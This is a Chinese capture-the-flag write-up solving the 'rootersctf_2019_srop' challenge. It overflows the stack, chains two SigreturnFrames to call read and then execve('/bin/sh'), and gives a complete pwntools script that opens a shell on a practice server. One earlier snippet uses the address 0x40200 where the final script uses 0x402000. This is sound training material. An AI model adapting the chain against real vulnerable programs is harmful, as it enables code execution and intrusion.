rootersctf_2019_srop
这里保护只开了NX,我们直接看一下IDA静态分析

程序非常简单,就一个start和一个sub_401000
根据题目名字提示我们用SROP,这里只有一次read机会,那么一个栈帧肯定是不够用的,这里存在syscall_leave_ret gadget

1 2 3 4 5
| syscall_leave_ret = 0x401033
pop_rax_syscall_leave_ret = 0x401032
syscall_addr = 0x401046
|
那么把原来rip指向的syscall gadget换成syscall;ret gadget构造syscall_chain
首先利用栈溢出,执行read的系统调用,往data段上写入/bin/sh和第二帧,同时控制rbp,指向第二帧的signal frame
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = 0x40200
frame.rdx = 0x400
frame.rip = syscall_leave_ret
frame.rbp = 0x40200+0x60
payload_1 = 'a'*(0x80+8)+p64(pop_rax_syscall_leave_ret)+p64(0xf)+str(frame)
|
第二帧:
1 2 3 4 5 6 7 8 9 10 11 12 13
| frame = SigreturnFrame()
frame.rax = 59
frame.rdi = 0x402000
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
payload_2 = "/bin/sh\x00"+'a'*(0x60)+p64(pop_rax_syscall_leave_ret)+p64(0xf)+str(frame)
|

/bin/sh写进了0x402000,所以设置frame.rdi = 0x402000
到此我们就拿到shell了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import *
context.log_level = "debug" context.arch="amd64" io = remote("node4.buuoj.cn",28203)
syscall_leave_ret = 0x401033 pop_rax_syscall_leave_ret = 0x401032 syscall_addr = 0x401046
frame = SigreturnFrame(kernel="amd64") frame.rax = 0 frame.rdi = 0 frame.rsi = 0x402000 frame.rdx = 0x400 frame.rip = syscall_leave_ret frame.rbp = 0x402000 + 0x60
payload_1 = 'a'*(0x80+8)+p64(pop_rax_syscall_leave_ret)+p64(0xf)+str(frame) io.sendlineafter("Hey, can i get some feedback for the CTF?\n", payload_1)
frame = SigreturnFrame() frame.rax = 59 frame.rdi = 0x402000 frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_addr
payload_2 = "/bin/sh\x00"+'a'*(0x60)+p64(pop_rax_syscall_leave_ret)+p64(0xf)+str(frame)
io.sendline(payload_2) io.interactive()
|
